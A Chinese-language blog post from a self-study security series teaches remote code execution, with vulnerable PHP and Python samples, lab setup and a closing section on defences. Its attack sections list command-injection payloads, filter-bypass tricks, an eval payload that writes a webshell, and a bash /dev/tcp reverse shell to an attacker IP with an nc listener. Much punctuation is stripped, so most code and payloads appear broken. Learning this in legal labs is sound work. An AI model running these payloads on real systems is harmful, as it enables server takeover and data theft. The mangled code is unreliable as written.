如何从一名小白成为网安大神(第二十四天)

📅 2026/6/23 10:10:56
如何从一名小白成为网安大神(第二十四天)
一、学习RCE 远程代码执行漏洞一基础定义与核心区分1. 什么是 RCERCERemote Code Execution远程代码执行攻击者通过可控输入在目标服务器远程执行操作系统命令或服务端编程语言代码属于最高危 0day 级漏洞成功利用可完全接管服务器、窃取数据、横向渗透内网。2. 两大核心分类必须分清类型全称执行对象典型危险函数 (PHP 示例)漏洞成因命令注入Remote Command ExecutionWindows/Linux 系统命令system()、shell_exec()、exec()、反引号用户输入直接拼接系统 shell 命令代码注入Remote Code Execution服务端编程语言 (PHP/Python/Java)eval()、assert()、create_function()用户输入被当作程序代码解释执行简单记忆命令注入调用系统cmd/bashping、dir、ls代码注入调用语言解释器phpinfo ()、os.popen ()3. RCE 通用危害读取服务器配置、数据库账号密码、源码上传 Webshell 木马持久控制网站反弹 Shell获得服务器交互式终端内网扫描、端口探测、横向渗透其他主机植入挖矿程序、勒索病毒、篡改页面数据二命令注入最易入门优先学习1. 漏洞原理示例PHP Ping 功能漏洞代码?php $ip $_GET[ip]; system(ping -c 4 .$ip); // 直接拼接用户输入无过滤 ?正常访问http://xxx/?ip8.8.8.8执行ping -c 4 8.8.8.82. 命令分隔符注入核心符号利用分隔符截断原有命令拼接恶意命令符号适用系统作用攻击 Payload 示例;Linux顺序执行两条命令?ip127.0.0.1;whoamiWindows/Linux后台并行执行?ip127.0.0.1dir全平台前一条成功才执行后一条?ip127.0.0.1cat /etc/passwd|全平台前一条失败才执行后一条?ipaaa|whoami|Linux管道输出?ip127.0.0.1|ls3. 基础 Payload 合集Linux 系统查看当前用户127.0.0.1;whoami读取密码文件127.0.0.1;cat /etc/passwd查看目录文件127.0.0.1;ls -l反弹 Shell最实用127.0.0.1;bash -i /dev/tcp/攻击机IP/4444 01Windows 系统查看当前用户127.0.0.1whoami列目录127.0.0.1dir读取文件127.0.0.1type C:\windows\system32\drivers\etc\hosts4. 过滤绕过技巧实战高频空格被过滤%09(制表符)、${IFS}(Linux 环境变量空格)cat被过滤more、less、tac、nl替代关键字黑名单大小写变形CaT、字符串拼接cat三代码注入漏洞进阶 RCE1. PHP eval 漏洞示例漏洞代码?php $code $_GET[cmd]; eval($code); // 直接执行用户输入为PHP代码 ?基础 Payload?cmdphpinfo(); ?cmdsystem(whoami); ?cmdfputs(fopen(shell.php,w),?php eval($_POST[cmd]);?); // 写入木马高危危险函数eval、assert、create_function、include($user_input)2. Python 代码注入危险函数exec()、eval()、os.system()漏洞示例import os user_input request.args.get(cmd) eval(user_input)Payload__import__(os).popen(whoami).read()3. 其他衍生 RCE 场景高频考点SSTI 服务端模板注入Jinja2/Thymeleaf → RCE反序列化漏洞Fastjson、Log4j2、Shiro、Struts2文件上传 解析漏洞上传图片马配合包含漏洞执行代码第三方组件漏洞Log4j2 JNDI 注入、Spring4Shell四本地靶场环境搭建新手必做合法复现方案 1PHPStudy 快速复现命令注入最简单安装 PHPStudy新建rce.php写入漏洞代码?php $ip $_GET[ip]; system(ping .$ip); ?浏览器访问127.0.0.1/rce.php?ip127.0.0.1;whoami验证漏洞执行方案 2Vulhub Docker 靶场完整漏洞库适合复现 Log4j2、Fastjson、Struts2 等框架 RCE安装 Dockerdocker-compose拉取 vulhub 仓库进入对应漏洞目录启动环境cd vulhub/fastjson/1.2.24-rce docker-compose up -d访问靶机 IP 进行漏洞利用方案 3DVWA Web 靶场入门首选内置 Command Injection命令注入关卡分低 / 中 / 高难度练习过滤绕过。五实战利用流程渗透标准步骤漏洞探测寻找可控参数URL 参数、POST 表单、Cookie、HTTP 请求头测试分隔符传入;whoami观察页面是否回显命令结果信息收集执行whoami、id、uname -a判断系统、权限读取配置文件、网站源码路径权限提升 / 持久化写入 Webshell 木马获取长期控制反弹交互式 Shell完整操作服务器内网横向扫描内网 IP、数据库、其他服务端口反弹 Shell 完整操作Kali 攻击机演示Kali 监听端口nc -lvnp 4444目标 RCE 注入 PayloadLinux;bash -i /dev/tcp/192.168.1.100/4444 01攻击机获得目标服务器完整终端六RCE 漏洞防御方案开发 / 运维双向1. 开发层核心防护根本解决禁止使用危险函数PHPphp.ini配置disable_functions system,exec,eval,shell_execPython/Java避免动态执行用户可控输入eval、反射、反序列化输入白名单校验拒绝黑名单黑名单极易绕过只允许业务合法输入如 IP 仅允许数字 点安全转义函数必须参数分离PHPescapeshellarg()单独转义参数不要拼接字符串错误写法system(ping .$ip)安全写法system(ping, [$ip])或system(ping .escapeshellarg($ip))禁止模板引擎解析用户输入关闭反序列化自动解析2. 运维服务器防护最小权限运行 Web 服务禁止 root / 管理员启动网站及时更新第三方组件Log4j、Fastjson、Spring、StrutsWAF 防火墙拦截命令分隔符、恶意函数关键字日志监控命令执行行为异常请求实时告警核心防御口诀永不信任用户输入绝不把可控输入直接传入执行函数